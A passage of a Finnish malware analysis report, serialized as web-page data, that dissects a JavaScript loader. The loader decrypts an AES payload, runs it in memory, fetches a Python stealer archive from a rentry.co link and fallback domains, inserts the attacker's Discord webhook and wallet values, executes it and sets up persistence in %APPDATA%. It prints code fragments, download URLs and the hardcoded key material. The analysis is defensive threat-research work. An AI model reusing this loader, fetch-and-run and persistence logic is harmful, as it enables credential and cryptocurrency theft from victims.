tartuntasilmukkaa.",[528,2916,2918,2919,2921],{"id":2917},"_6-deep-dive-inputjs-salattu-javascript-payloadin-loader","6. Deep Dive: ",[551,2920,2820],{}," – salattu JavaScript-payloadin loader",[533,2923,535],{},[533,2925,2926,2928],{},[551,2927,2820],{}," on kriittinen komponentti analysoidussa haittaohjelmaketjussa, ja se toimii salatun JavaScript-payloadin salauksenpurku- ja suorituskeskuksena. Tämä skripti piilottaa ydintoiminnallisuutensa vahvan salauskerroksen taakse ja paljastaa käyttäytymisensä vasta ajon aikana.",[721,2930,2932],{"id":2931},"_61-salauksen-ja-salauksenpurun-mekaniikka","6.1 Salauksen ja salauksenpurun mekaniikka",[533,2934,727],{},[533,2936,2937,2938,2940],{},"Ensi silmäyksellä ",[551,2939,2820],{}," sisältää hyvin vähän luettavaa koodia. Sen ensisijainen tarkoitus on kuitenkin purkaa ja suorittaa suuri obfuskoitu JavaScript-möykky, joka on tallennettu skriptin sisälle.",[870,2942,2944],{"id":2943},"_611-salauksenpurkulogiikka","6.1.1 Salauksenpurkulogiikka",[533,2946,876],{},[533,2948,2949,2950,2953],{},"Skripti määrittelee ",[551,2951,2952],{},"decrypt()","-funktion, joka ottaa vastaan neljä parametria:",[604,2955,2956,2962,2968,2974],{},[607,2957,2958,2961],{},[551,2959,2960],{},"encdata",": Salattu Base64-koodattu data",[607,2963,2964,2967],{},[551,2965,2966],{},"masterkey",": Selkokielinen salalause",[607,2969,2970,2973],{},[551,2971,2972],{},"salt",": Kryptografinen suola (Base64)",[607,2975,2976,2979],{},[551,2977,2978],{},"iv",": AES-salauksenpurun alustusvektori (Base64)",[533,2981,2982,2983,2986],{},"Salauksenpurkuprosessi on toteutettu Node.js:n sisäänrakennetulla ",[551,2984,2985],{},"crypto","-moduulilla. Se etenee seuraavasti:",[711,2988,2989,3100,3213],{},[607,2990,2991,2994,2995,3074],{},[540,2992,2993],{},"Avaimen johtaminen:","\nSkripti johtaa 256-bittisen symmetrisen avaimen PBKDF2:lla (Password-Based Key Derivation Function 2):",[588,2996,3000],{"className":2997,"code":2998,"language":2999,"meta":594,"style":594},"language-js shiki shiki-themes github-light github-dark","const key = crypto.pbkdf2Sync(\n  masterkey,\n  Buffer.from(salt, \"base64\"),\n  100000,\n  32,\n  \"sha512\",\n);\n","js",[551,3001,3002,3024,3029,3046,3054,3061,3068],{"__ignoreMap":594},[1691,3003,3004,3008,3011,3014,3018,3021],{"class":1693,"line":1694},[1691,3005,3007],{"class":3006},"szBVR","const",[1691,3009,3010],{"class":2786}," key",[1691,3012,3013],{"class":3006}," =",[1691,3015,3017],{"class":3016},"sVt8B"," crypto.",[1691,3019,3020],{"class":2778},"pbkdf2Sync",[1691,3022,3023],{"class":3016},"(\n",[1691,3025,3026],{"class":1693,"line":2070},[1691,3027,3028],{"class":3016},"  masterkey,\n",[1691,3030,3031,3034,3037,3040,3043],{"class":1693,"line":2076},[1691,3032,3033],{"class":3016},"  Buffer.",[1691,3035,3036],{"class":2778},"from",[1691,3038,3039],{"class":3016},"(salt, ",[1691,3041,3042],{"class":2782},"\"base64\"",[1691,3044,3045],{"class":3016},"),\n",[1691,3047,3048,3051],{"class":1693,"line":2082},[1691,3049,3050],{"class":2786},"  100000",[1691,3052,3053],{"class":3016},",\n",[1691,3055,3056,3059],{"class":1693,"line":2406},[1691,3057,3058],{"class":2786},"  32",[1691,3060,3053],{"class":3016},[1691,3062,3063,3066],{"class":1693,"line":2412},[1691,3064,3065],{"class":2782},"  \"sha512\"",[1691,3067,3053],{"class":3016},[1691,3069,3071],{"class":1693,"line":3070},7,[1691,3072,3073],{"class":3016},");\n",[604,3075,3076,3082,3088,3094],{},[607,3077,3078,3081],{},[540,3079,3080],{},"Tiivistefunktio:"," SHA-512",[607,3083,3084,3087],{},[540,3085,3086],{},"Iteraatiot:"," 100 000",[607,3089,3090,3093],{},[540,3091,3092],{},"Avaimen pituus:"," 32 tavua (256 bittiä)",[607,3095,3096,3099],{},[540,3097,3098],{},"Suola:"," Annetaan Base64-dekoodattuna syötteenä",[607,3101,3102,3105,3106,3156,3158,3159],{},[540,3103,3104],{},"AES-256-CBC-salauksen purku:","\nJohdettua avainta käytetään sen jälkeen AES-purkuolion luomiseen:",[588,3107,3109],{"className":2997,"code":3108,"language":2999,"meta":594,"style":594},"const decipher = crypto.createDecipheriv(\n  \"aes-256-cbc\",\n  key,\n  Buffer.from(iv, \"base64\"),\n);\n",[551,3110,3111,3127,3134,3139,3152],{"__ignoreMap":594},[1691,3112,3113,3115,3118,3120,3122,3125],{"class":1693,"line":1694},[1691,3114,3007],{"class":3006},[1691,3116,3117],{"class":2786}," decipher",[1691,3119,3013],{"class":3006},[1691,3121,3017],{"class":3016},[1691,3123,3124],{"class":2778},"createDecipheriv",[1691,3126,3023],{"class":3016},[1691,3128,3129,3132],{"class":1693,"line":2070},[1691,3130,3131],{"class":2782},"  \"aes-256-cbc\"",[1691,3133,3053],{"class":3016},[1691,3135,3136],{"class":1693,"line":2076},[1691,3137,3138],{"class":3016},"  key,\n",[1691,3140,3141,3143,3145,3148,3150],{"class":1693,"line":2082},[1691,3142,3033],{"class":3016},[1691,3144,3036],{"class":2778},[1691,3146,3147],{"class":3016},"(iv, ",[1691,3149,3042],{"class":2782},[1691,3151,3045],{"class":3016},[1691,3153,3154],{"class":1693,"line":2406},[1691,3155,3073],{"class":3016},[701,3157],{},"Salattu payload puretaan tavanomaisessa CBC-tilassa (Cipher Block Chaining):",[588,3160,3162],{"className":2997,"code":3161,"language":2999,"meta":594,"style":594},"let decrypted = decipher.update(encdata, \"base64\", \"utf8\");\ndecrypted += decipher.final(\"utf8\");\n",[551,3163,3164,3193],{"__ignoreMap":594},[1691,3165,3166,3169,3172,3175,3178,3181,3184,3186,3188,3191],{"class":1693,"line":1694},[1691,3167,3168],{"class":3006},"let",[1691,3170,3171],{"class":3016}," decrypted ",[1691,3173,3174],{"class":3006},"=",[1691,3176,3177],{"class":3016}," decipher.",[1691,3179,3180],{"class":2778},"update",[1691,3182,3183],{"class":3016},"(encdata, ",[1691,3185,3042],{"class":2782},[1691,3187,620],{"class":3016},[1691,3189,3190],{"class":2782},"\"utf8\"",[1691,3192,3073],{"class":3016},[1691,3194,3195,3198,3201,3203,3206,3209,3211],{"class":1693,"line":2070},[1691,3196,3197],{"class":3016},"decrypted ",[1691,3199,3200],{"class":3006},"+=",[1691,3202,3177],{"class":3016},[1691,3204,3205],{"class":2778},"final",[1691,3207,3208],{"class":3016},"(",[1691,3210,3190],{"class":2782},[1691,3212,3073],{"class":3016},[607,3214,3215,3218,3219,3222,3223,3244,3246],{},[540,3216,3217],{},"Dynaaminen suoritus:","\nPurettua JavaScript-koodia ei koskaan kirjoiteta levylle. Sen sijaan se suoritetaan dynaamisesti muistissa ",[551,3220,3221],{},"Function","-konstruktorilla:",[588,3224,3226],{"className":2997,"code":3225,"language":2999,"meta":594,"style":594},"new Function(\"require\", decrypted)(require);\n",[551,3227,3228],{"__ignoreMap":594},[1691,3229,3230,3233,3236,3238,3241],{"class":1693,"line":1694},[1691,3231,3232],{"class":3006},"new",[1691,3234,3235],{"class":2778}," Function",[1691,3237,3208],{"class":3016},[1691,3239,3240],{"class":2782},"\"require\"",[1691,3242,3243],{"class":3016},", decrypted)(require);\n",[701,3245],{},"Tämä tekniikka mahdollistaa tiedostottoman suorituksen ja vähentää havaitsemisen todennäköisyyttä perinteisissä virustorjuntamoottoreissa, jotka nojaavat levyn skannaamiseen.",[533,3248,3249],{},"Tämä lähestymistapa osoittaa kerroksellista puolustusta reverse engineeringiä vastaan yhdistämällä avaimen johtamisen, vahvan salauksen ja dynaamisen muistinsisäisen suorituksen.",[533,3251,3252],{},[540,3253,3254],{},"Avainmateriaali ja salattu data",[533,3256,3257],{},"Skripti sisältää seuraavat kovakoodatut syötteet:",[604,3259,3260,3266,3274,3282],{},[607,3261,3262,3265],{},[540,3263,3264],{},"Salattu data:"," Valtava Base64-koodattu möykky",[607,3267,3268,2036,3271],{},[540,3269,3270],{},"Pääavain:",[551,3272,3273],{},"9uNXNGt8/7kN7ZiEvy1OdYNpbcnzkERs",[607,3275,3276,2036,3278,3281],{},[540,3277,3098],{},[551,3279,3280],{},"maXtklzMEZRY9dbul/XPSw=="," (Base64-koodattu)",[607,3283,3284,2036,3287,3281],{},[540,3285,3286],{},"IV:",[551,3288,3289],{},"HwK6sOz7FBbL+YsrOxtYUg==",[533,3291,3292,3293,3295],{},"Nämä kaikki on upotettu suoraan ",[551,3294,2820],{},":n lähdekoodiin.",[721,3297,3299],{"id":3298},"_62-payloadin-käyttäytyminen-salauksen-purun-jälkeen","6.2 Payloadin käyttäytyminen salauksen purun jälkeen",[533,3301,727],{},[533,3303,3304],{},"Kun salaus on purettu, upotetusta payloadista tulee täysimittainen JavaScript-ohjelma, joka suorittaa seuraavat haitalliset toimet:",[870,3306,3308],{"id":3307},"_621-ympäristön-valmistelu","6.2.1 Ympäristön valmistelu",[533,3310,876],{},[533,3312,3313],{},"Purettu payload aloittaa pystyttämällä suoritusympäristönsä Node.js:n sisäänrakennetuilla moduuleilla. Tämä valmisteluvaihe varmistaa, että kaikki tarvittavat polut ja työhakemistot on selkeästi määritelty ennen kuin haitallista toimintaa tapahtuu.",[604,3315,3316,3349],{},[607,3317,3318,3321,3322,3325,3326],{},[540,3319,3320],{},"Väliaikaishakemiston selvittäminen:","\nHaittaohjelma kutsuu ",[551,3323,3324],{},"os.tmpdir()","-funktiota selvittääkseen polun järjestelmän nykyiseen väliaikaishakemistoon. Tämä on yleinen taktiikka haittaohjelmille, sillä väliaikaiskansiot ovat tyypillisesti kirjoitettavia ja päätelaitesuojaukset tarkkailevat niitä vähemmän.",[588,3327,3329],{"className":2997,"code":3328,"language":2999,"meta":594,"style":594},"const tempDir = os.tmpdir();\n",[551,3330,3331],{"__ignoreMap":594},[1691,3332,3333,3335,3338,3340,3343,3346],{"class":1693,"line":1694},[1691,3334,3007],{"class":3006},[1691,3336,3337],{"class":2786}," tempDir",[1691,3339,3013],{"class":3006},[1691,3341,3342],{"class":3016}," os.",[1691,3344,3345],{"class":2778},"tmpdir",[1691,3347,3348],{"class":3016},"();\n",[607,3350,3351,3354,3355,3368],{},[540,3352,3353],{},"Polkujen rakentaminen:","\nSkripti rakentaa sen jälkeen absoluuttiset polut kahdelle tärkeälle tiedostolle:",[604,3356,3357,3362],{},[607,3358,3359,3361],{},[551,3360,2882],{},": Arkisto, joka sisältää varsinaisen toisen vaiheen Python-pohjaisen stealerin",[607,3363,3364,3367],{},[551,3365,3366],{},"bnd.exe",": Valinnainen suoritettava tiedosto, joka voi toimia persistence-takaovena tai lisäpayloadina",[588,3369,3371],{"className":2997,"code":3370,"language":2999,"meta":594,"style":594},"const tempFile = path.join(tempDir, \"pyth.zip\");\nconst binderFile = path.join(tempDir, \"bnd.exe\");\n",[551,3372,3373,3396],{"__ignoreMap":594},[1691,3374,3375,3377,3380,3382,3385,3388,3391,3394],{"class":1693,"line":1694},[1691,3376,3007],{"class":3006},[1691,3378,3379],{"class":2786}," tempFile",[1691,3381,3013],{"class":3006},[1691,3383,3384],{"class":3016}," path.",[1691,3386,3387],{"class":2778},"join",[1691,3389,3390],{"class":3016},"(tempDir, ",[1691,3392,3393],{"class":2782},"\"pyth.zip\"",[1691,3395,3073],{"class":3016},[1691,3397,3398,3400,3403,3405,3407,3409,3411,3414],{"class":1693,"line":2070},[1691,3399,3007],{"class":3006},[1691,3401,3402],{"class":2786}," binderFile",[1691,3404,3013],{"class":3006},[1691,3406,3384],{"class":3016},[1691,3408,3387],{"class":2778},[1691,3410,3390],{"class":3016},[1691,3412,3413],{"class":2782},"\"bnd.exe\"",[1691,3415,3073],{"class":3016},[533,3417,3418],{},"Tämä polkujen pystytys abstrahoi käyttöjärjestelmäkohtaisen polkusyntaksin ja antaa haittaohjelman toimia saumattomasti missä tahansa Windows-järjestelmässä. Se luo myös pohjan seuraaville tiedoston lataus- ja purkumekanismeille.",[870,3420,3422],{"id":3421},"_622-payloadin-lataus-varastrategian-kanssa","6.2.2 Payloadin lataus varastrategian kanssa",[533,3424,876],{},[533,3426,3427],{},"Puretun JavaScript-payloadin toinen päävaihe käsittää haitallisen ZIP-arkiston lataamisen etälähteistä. Tämä mekanismi on suunniteltu monitasoisella varastrategialla kestävyyden ja saatavuuden parantamiseksi.",[604,3429,3430,3462,3547,3581],{},[607,3431,3432,3435,3436,3456,3458,3459,3461],{},[540,3433,3434],{},"Ensisijaisen linkin selvitys Rentry.co:n kautta","\nSkripti aloittaa selvittämällä dynaamisen URL-osoitteen tekstin jakopalvelusta. Se lähettää GET-pyynnön osoitteeseen:",[588,3437,3439],{"className":2997,"code":3438,"language":2999,"meta":594,"style":594},"const url = \"https://rentry.co/7vzd22fg36hfdd33/raw\";\n",[551,3440,3441],{"__ignoreMap":594},[1691,3442,3443,3445,3448,3450,3453],{"class":1693,"line":1694},[1691,3444,3007],{"class":3006},[1691,3446,3447],{"class":2786}," url",[1691,3449,3013],{"class":3006},[1691,3451,3452],{"class":2782}," \"https://rentry.co/7vzd22fg36hfdd33/raw\"",[1691,3454,3455],{"class":3016},";\n",[701,3457],{},"Tämä palauttaa selkokielisen URL-merkkijonon, joka osoittaa ",[551,3460,2882],{},"-arkiston todelliseen sijaintiin. Tällaisen uudelleenohjausmekanismin käyttö on yleinen obfuskointitekniikka—se abstrahoi todellisen haitallisen URL-osoitteen ja vaikeuttaa staattista havaitsemista.",[607,3463,3464,3467,3468,3500,3502,3503,3505,3506,3540,3542,3543,3546],{},[540,3465,3466],{},"Latauksen suoritus","\nSelvitettyä URL-osoitetta pyydetään sen jälkeen Axios-kirjastolla vastausvirtana:",[588,3469,3471],{"className":2997,"code":3470,"language":2999,"meta":594,"style":594},"const fileResponse = await axios.get(fileUrl, { responseType: \"stream\" });\n",[551,3472,3473],{"__ignoreMap":594},[1691,3474,3475,3477,3480,3482,3485,3488,3491,3494,3497],{"class":1693,"line":1694},[1691,3476,3007],{"class":3006},[1691,3478,3479],{"class":2786}," fileResponse",[1691,3481,3013],{"class":3006},[1691,3483,3484],{"class":3006}," await",[1691,3486,3487],{"class":3016}," axios.",[1691,3489,3490],{"class":2778},"get",[1691,3492,3493],{"class":3016},"(fileUrl, { responseType: ",[1691,3495,3496],{"class":2782},"\"stream\"",[1691,3498,3499],{"class":3016}," });\n",[701,3501],{},"Tiedosto kirjoitetaan levylle nimellä ",[551,3504,2882],{}," järjestelmän väliaikaishakemistoon:",[588,3507,3509],{"className":2997,"code":3508,"language":2999,"meta":594,"style":594},"const writer = fs.createWriteStream(tempFile);\nfileResponse.data.pipe(writer);\n",[551,3510,3511,3529],{"__ignoreMap":594},[1691,3512,3513,3515,3518,3520,3523,3526],{"class":1693,"line":1694},[1691,3514,3007],{"class":3006},[1691,3516,3517],{"class":2786}," writer",[1691,3519,3013],{"class":3006},[1691,3521,3522],{"class":3016}," fs.",[1691,3524,3525],{"class":2778},"createWriteStream",[1691,3527,3528],{"class":3016},"(tempFile);\n",[1691,3530,3531,3534,3537],{"class":1693,"line":2070},[1691,3532,3533],{"class":3016},"fileResponse.data.",[1691,3535,3536],{"class":2778},"pipe",[1691,3538,3539],{"class":3016},"(writer);\n",[701,3541],{},"Tämä lataus on kääritty ",[551,3544,3545],{},"Promise","-olioon, jotta se saadaan varmasti valmiiksi ennen kuin jatkologiikkaa suoritetaan.",[607,3548,3549,3552,3553,3578,3580],{},[540,3550,3551],{},"Vara-URL-osoitteet","\nJos Rentry-pohjainen linkki epäonnistuu, skripti yrittää kovakoodattuja varasijainteja:",[588,3554,3556],{"className":2997,"code":3555,"language":2999,"meta":594,"style":594},"https://cosmicdust.zip/.well-known/pki-validation/pyth.zip\nhttps://cosmoplanets.net/well-known/pki-validation/pyth.zip\n",[551,3557,3558,3569],{"__ignoreMap":594},[1691,3559,3560,3563,3565],{"class":1693,"line":1694},[1691,3561,3562],{"class":2778},"https",[1691,3564,1181],{"class":3016},[1691,3566,3568],{"class":3567},"sJ8bj","//cosmicdust.zip/.well-known/pki-validation/pyth.zip\n",[1691,3570,3571,3573,3575],{"class":1693,"line":2070},[1691,3572,3562],{"class":2778},[1691,3574,1181],{"class":3016},[1691,3576,3577],{"class":3567},"//cosmoplanets.net/well-known/pki-validation/pyth.zip\n",[701,3579],{},"Nämä verkkotunnukset on rakennettu näyttämään osilta tavanomaisia TLS-validointikansioita, mahdollisesti matkien Let's Encryptin tai verkkotunnusvalidoinnin polkuja epäilyjen vähentämiseksi. Jokainen varasijainti yritetään uudelleen samalla virtaus- ja tiedostonkirjoituslogiikalla.",[607,3582,3583,3586,3587,3590],{},[540,3584,3585],{},"Kestävyys ja obfuskointi","\nTämä varamekanismi varmistaa, että haittaohjelmalla on useita hakupolkuja toisen vaiheen payloadilleen. Dynaamisen osoittimen (",[551,3588,3589],{},"rentry.co",") ja useiden varapeilien käyttö tekee haittaohjelmasta kestävämmän alasajoja, estoja ja DNS-sinkholeja vastaan.",[533,3592,3593],{},"Tämä vaihe osoittaa haittaohjelman tekijöiden huolellista operatiivista suunnittelua, jossa hyödynnetään kerroksellista redundanssia ja hyvin naamioitua toimitusinfrastruktuuria.",[604,3595,3596,3602],{},[607,3597,3598,3599,3601],{},"Lataa ",[551,3600,2882],{},":n selvitetystä URL-osoitteesta",[607,3603,3604,3605],{},"Jos se epäonnistuu, se yrittää varapeilejä:\n",[604,3606,3607,3612],{},[607,3608,3609],{},[551,3610,3611],{},"https://cosmicdust.zip/.well-known/pki-validation/pyth.zip",[607,3613,3614],{},[551,3615,3616],{},"https://cosmoplanets.net/well-known/pki-validation/pyth.zip",[870,3618,3620],{"id":3619},"_623-payloadin-purkaminen-ja-manipulointi","6.2.3 Payloadin purkaminen ja manipulointi",[533,3622,876],{},[533,3624,1092,3625,3627,3628,3630],{},[551,3626,2882],{},"-arkisto on ladattu ja tallennettu levylle onnistuneesti, haittaohjelma purkaa sen sisällön ja valmistelee sen suoritusta varten. Tämä tehdään ",[551,3629,2853],{},"-Node.js-kirjastolla, joka mahdollistaa ZIP-tiedostojen ohjelmallisen käsittelyn.",[604,3632,3633,3681,3708],{},[607,3634,3635,3638,3675,3677,3678,3680],{},[540,3636,3637],{},"ZIP-purku:",[588,3639,3641],{"className":2997,"code":3640,"language":2999,"meta":594,"style":594},"const zip = new AdmZip(tempFile);\nzip.extractAllTo(tempDir, true);\n",[551,3642,3643,3660],{"__ignoreMap":594},[1691,3644,3645,3647,3650,3652,3655,3658],{"class":1693,"line":1694},[1691,3646,3007],{"class":3006},[1691,3648,3649],{"class":2786}," zip",[1691,3651,3013],{"class":3006},[1691,3653,3654],{"class":3006}," new",[1691,3656,3657],{"class":2778}," AdmZip",[1691,3659,3528],{"class":3016},[1691,3661,3662,3665,3668,3670,3673],{"class":1693,"line":2070},[1691,3663,3664],{"class":3016},"zip.",[1691,3666,3667],{"class":2778},"extractAllTo",[1691,3669,3390],{"class":3016},[1691,3671,3672],{"class":2786},"true",[1691,3674,3073],{"class":3016},[701,3676],{},"Tämä purkaa arkiston koko sisällön järjestelmän väliaikaishakemistoon. ",[551,3679,3672],{},"-lippu varmistaa olemassa olevien tiedostojen ylikirjoittamisen.",[607,3682,3683,3686,3687,3689,3690],{},[540,3684,3685],{},"Arkiston sisältö:","\nArkisto ",[551,3688,2882],{}," sisältää täysin niputetun Python-projektin, johon kuuluu:",[604,3691,3692,3695,3698],{},[607,3693,3694],{},"Hakemistorakenne, joka muistuttaa laillista Python-pakettia",[607,3696,3697],{},"Useita Python-moduuleja ja riippuvuuksia",[607,3699,3700,3701,3703,3704,3707],{},"Avaintiedosto ",[551,3702,582],{}," sijainnissa ",[551,3705,3706],{},"Crypto/Util/astor.py",", joka on varsinainen stealer-payload",[607,3709,3710,3713,3714,3716,3717,3737],{},[540,3711,3712],{},"Paikanvarausmerkkien korvaus:","\nHaittaohjelma korvaa dynaamisesti ennalta määritellyt paikanvarausmerkit ",[551,3715,582],{},":n sisällä injektoidakseen hyökkääjän hallitsemaa konfiguraatiodataa, kuten:",[604,3718,3719,3722,3725,3731],{},[607,3720,3721],{},"Discord-webhookin URL-osoitteen",[607,3723,3724],{},"Kryptovaluuttaosoitteita (BTC, ETH, DOGE, LTC, XMR jne.)",[607,3726,3727,3728,1122],{},"Käyttäjätunnisteen (",[551,3729,3730],{},"%USERID%",[607,3732,3733,3734,1122],{},"Virhetilalipun (",[551,3735,3736],{},"%ERRORSTATUS%",[588,3738,3740],{"className":2997,"code":3739,"language":2999,"meta":594,"style":594},"fs.readFile(extractedDir + \"\\Crypto\\Util\\astor.py\", 'utf8', (err, data) => {\n  let updatedFile = data\n    .replace(\"%DISCORD%\", \u003Cwebhook>)\n    .replace(\"%ADDRESSBTC%\", \u003Cbtc_address>)\n    ...\n    .replace(\"%ERRORSTATUS%\", displayError ? \"true\" : \"false\");\n\n  fs.writeFile(extractedDir + \"\\Crypto\\Util\\astor.py\", updatedFile, 'utf8');\n});\n",[551,3741,3742,3803,3816,3839,3849,3854,3859,3864,3870],{"__ignoreMap":594},[1691,3743,3744,3747,3750,3753,3756,3759,3762,3765,3768,3771,3774,3777,3779,3782,3785,3789,3791,3794,3797,3800],{"class":1693,"line":1694},[1691,3745,3746],{"class":3016},"fs.",[1691,3748,3749],{"class":2778},"readFile",[1691,3751,3752],{"class":3016},"(extractedDir ",[1691,3754,3755],{"class":3006},"+",[1691,3757,3758],{"class":2782}," \"",[1691,3760,3761],{"class":2786},"\\C",[1691,3763,3764],{"class":2782},"rypto",[1691,3766,3767],{"class":2786},"\\U",[1691,3769,3770],{"class":2782},"til",[1691,3772,3773],{"class":2786},"\\a",[1691,3775,3776],{"class":2782},"stor.py\"",[1691,3778,620],{"class":3016},[1691,3780,3781],{"class":2782},"'utf8'",[1691,3783,3784],{"class":3016},", (",[1691,3786,3788],{"class":3787},"s4XuR","err",[1691,3790,620],{"class":3016},[1691,3792,3793],{"class":3787},"data",[1691,3795,3796],{"class":3016},") ",[1691,3798,3799],{"class":3006},"=>",[1691,3801,3802],{"class":3016}," {\n",[1691,3804,3805,3808,3811,3813],{"class":1693,"line":2070},[1691,3806,3807],{"class":3006},"  let",[1691,3809,3810],{"class":3016}," updatedFile ",[1691,3812,3174],{"class":3006},[1691,3814,3815],{"class":3016}," data\n",[1691,3817,3818,3821,3824,3826,3829,3832,3836],{"class":1693,"line":2076},[1691,3819,3820],{"class":3016},"    .",[1691,3822,3823],{"class":2778},"replace",[1691,3825,3208],{"class":3016},[1691,3827,3828],{"class":2782},"\"%DISCORD%\"",[1691,3830,3831],{"class":3016},", \u003C",[1691,3833,3835],{"class":3834},"s9eBZ","webhook",[1691,3837,3838],{"class":3016},">)\n",[1691,3840,3841,3844,3847],{"class":1693,"line":2082},[1691,3842,3843],{"class":3016},"    .replace(\"%ADDRESSBTC%\", \u003C",[1691,3845,3846],{"class":2786},"btc_address",[1691,3848,3838],{"class":3016},[1691,3850,3851],{"class":1693,"line":2406},[1691,3852,3853],{"class":3016},"    ...\n",[1691,3855,3856],{"class":1693,"line":2412},[1691,3857,3858],{"class":3016},"    .replace(\"%ERRORSTATUS%\", displayError ? \"true\" : \"false\");\n",[1691,3860,3861],{"class":1693,"line":3070},[1691,3862,3863],{"emptyLinePlaceholder":325},"\n",[1691,3865,3867],{"class":1693,"line":3866},8,[1691,3868,3869],{"class":3016},"  fs.writeFile(extractedDir + \"\\Crypto\\Util\\astor.py\", updatedFile, 'utf8');\n",[1691,3871,3873],{"class":1693,"line":3872},9,[1691,3874,3875],{"class":3016},"});\n",[533,3877,3878],{},"Tämä dynaaminen manipulointivaihe on olennainen. Viivyttämällä hyökkääjän hallitsemien arvojen lisäämistä ajon hetkeen payload välttää staattisen havaitsemisen ja antaa operaattorin mukauttaa kohteita ja exfiltraation päätepisteitä paketoimatta arkistoa uudelleen.",[604,3880,3881],{},[607,3882,3883,3884,3886,3887],{},"Korvaa ",[551,3885,582],{},":n paikanvarausmerkkijonot:\n",[604,3888,3889,3895,3905],{},[607,3890,3891,3892],{},"Discord-webhook: ",[551,3893,3894],{},"%DISCORD%",[607,3896,3897,3898,620,3901,3904],{},"Lompakko-osoitteet: ",[551,3899,3900],{},"%ADDRESSBTC%",[551,3902,3903],{},"%ADDRESSETH%"," jne.",[607,3906,3907],{},"Käyttäjätunnus ja virheliput",[870,3909,3911],{"id":3910},"_624-haittaohjelman-suoritus","6.2.4 Haittaohjelman suoritus",[533,3913,876],{},[604,3915,3916],{},[607,3917,3918,3919],{},"Kun paikanvarausmerkkien injektointi astor.py:hyn on valmis, haittaohjelma käynnistää stealerin suorituksen järjestelmäkutsulla",[588,3920,3922],{"className":2997,"code":3921,"language":2999,"meta":594,"style":594},"exec(\"python.exe Crypto\\\\Util\\\\astor.py\");\n",[551,3923,3924],{"__ignoreMap":594},[1691,3925,3926,3929,3931,3934,3937,3940,3942,3945],{"class":1693,"line":1694},[1691,3927,3928],{"class":2778},"exec",[1691,3930,3208],{"class":3016},[1691,3932,3933],{"class":2782},"\"python.exe Crypto",[1691,3935,3936],{"class":2786},"\\\\",[1691,3938,3939],{"class":2782},"Util",[1691,3941,3936],{"class":2786},[1691,3943,3944],{"class":2782},"astor.py\"",[1691,3946,3073],{"class":3016},[533,3948,3949],{},"Tämä komento suoritetaan Node.js:n child_process.exec-funktiolla, ja se käynnistää upotetun Python-payloadin erillisessä prosessissa. Tämä nimenomainen suorituskuvio—python.exe argumentilla Crypto\\Util\\astor.py—havaittiin Microsoft Defender for Endpointin keräämässä telemetriadatassa, mikä tekee siitä luotettavan havaintoartefaktin. Käytännössä suoritusketju näyttää tältä:",[533,3951,3952],{},"Koko haittaohjelman suoritusketju, sellaisena kuin se havaittiin Microsoft Defender for Endpointin telemetriassa, etenee tässä järjestyksessä:",[604,3954,3955,3964,3971,3977],{},[607,3956,3957,3959,3960,3963],{},[551,3958,578],{}," (Electron-pohjainen säiliö) kutsuu ",[551,3961,3962],{},"node.exe",":ä",[607,3965,3966,3968,3969,1817],{},[551,3967,3962],{}," käynnistää ",[551,3970,1111],{},[607,3972,3973,3968,3975,1817],{},[551,3974,1111],{},[551,3976,553],{},[607,3978,3979,3981,3982],{},[551,3980,553],{}," suorittaa tiedoston ",[551,3983,1121],{},[870,3985,3987],{"id":3986},"_625-persistencen-vahvistaminen","6.2.5 Persistencen vahvistaminen",[533,3989,876],{},[533,3991,3992,3993,3995],{},"Varmistaakseen pitkäaikaisen läsnäolon saastuneessa järjestelmässä purettu JavaScript-payload sisältää logiikan, joka palauttaa persistencen kopioimalla ensimmäisen binäärin (",[551,3994,574],{},") piilotettuun sijaintiin käyttäjän profiilissa.",[533,3997,3998],{},[540,3999,4000],{},"Kohdehakemisto",[533,4002,4003],{},"Tiedosto kopioidaan hakemistoon, joka matkii laillisia Windows-komponentteja:",[588,4005,4007],{"className":2997,"code":4006,"language":2999,"meta":594,"style":594},"%APPDATA%\\Microsoft\\Internet Explorer\\UserData\\Updater.exe\n",[551,4008,4009],{"__ignoreMap":594},[1691,4010,4011,4014,4017,4019],{"class":1693,"line":1694},[1691,4012,4013],{"class":3006},"%",[1691,4015,4016],{"class":2786},"APPDATA",[1691,4018,4013],{"class":3006},[1691,4020,4021],{"class":3016},"\\Microsoft\\Internet Explorer\\UserData\\Updater.exe\n",[533,4023,4024],{},"Tämä sijainti on valittu tarkoituksella:",[604,4026,4027,4030],{},[607,4028,4029],{},"%APPDATA% on tavallisten käyttäjien kirjoitettavissa eikä vaadi järjestelmänvalvojan oikeuksia.",[607,4031,4032],{},"Hakemiston nimi matkii laillisia Microsoft-sovelluskansioita, mikä tekee siitä vähemmän epäilyttävän.",[533,4034,4035],{},[540,4036,4037],{},"Kopiointimekanismi:",[533,4039,4040],{},"Kopiointi käyttää Node.js:n fs.copyFileSync()-funktiota:",[588,4042,4044],{"className":2997,"code":4043,"language":2999,"meta":594,"style":594},"fs.copyFileSync(\n  process.env.PORTABLE_EXECUTABLE_FILE,\n  path.join(\n    process.env.APPDATA,\n    \"Microsoft\",\n    \"Internet Explorer\",\n    \"UserData\",\n    \"Updater.exe\",\n  ),\n);\n",[551,4045,4046,4055,4065,4074,4083,4090,4097,4104,4111,4116],{"__ignoreMap":594},[1691,4047,4048,4050,4053],{"class":1693,"line":1694},[1691,4049,3746],{"class":3016},[1691,4051,4052],{"class":2778},"copyFileSync",[1691,4054,3023],{"class":3016},[1691,4056,4057,4060,4063],{"class":1693,"line":2070},[1691,4058,4059],{"class":3016},"  process.env.",[1691,4061,4062],{"class":2786},"PORTABLE_EXECUTABLE_FILE",[1691,4064,3053],{"class":3016},[1691,4066,4067,4070,4072],{"class":1693,"line":2076},[1691,4068,4069],{"class":3016},"  path.",[1691,4071,3387],{"class":2778},[1691,4073,3023],{"class":3016},[1691,4075,4076,4079,4081],{"class":1693,"line":2082},[1691,4077,4078],{"class":3016},"    process.env.",[1691,4080,4016],{"class":2786},[1691,4082,3053],{"class":3016},[1691,4084,4085,4088],{"class":1693,"line":2406},[1691,4086,4087],{"class":2782},"    \"Microsoft\"",[1691,4089,3053],{"class":3016},[1691,4091,4092,4095],{"class":1693,"line":2412},[1691,4093,4094],{"class":2782},"    \"Internet Explorer\"",[1691,4096,3053],{"class":3016},[1691,4098,4099,4102],{"class":1693,"line":3070},[1691,4100,4101],{"class":2782},"    \"UserData\"",[1691,4103,3053],{"class":3016},[1691,4105,4106,4109],{"class":1693,"line":3866},[1691,4107,4108],{"class":2782},"    \"Updater.exe\"",[1691,4110,3053],{"class":3016},[1691,4112,4113],{"class":1693,"line":3872},[1691,4114,4115],{"class":3016},"  